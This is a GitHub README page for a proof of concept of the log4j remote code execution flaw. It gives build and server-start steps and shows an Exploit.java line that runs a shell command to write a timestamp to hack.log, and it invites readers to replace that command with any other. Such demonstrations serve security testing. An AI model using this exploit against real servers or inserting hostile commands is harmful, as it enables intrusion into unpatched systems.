Skip to content

Latest commit

 

History

History
18 lines (15 loc) · 648 Bytes

README.md

File metadata and controls

18 lines (15 loc) · 648 Bytes

Build

./build.sh

Start log4j RCE Server

./start-log4j-rce-server.sh

Test

  • Run java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j Check if you get logs in hack.log from current folder
  • You can change this line
    String[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };
    in file apache-log4j-poc/src/main/java/Exploit.java to whatever you like then rebuild and run test
  • Check out issue #1 if you see maven compile error

Credits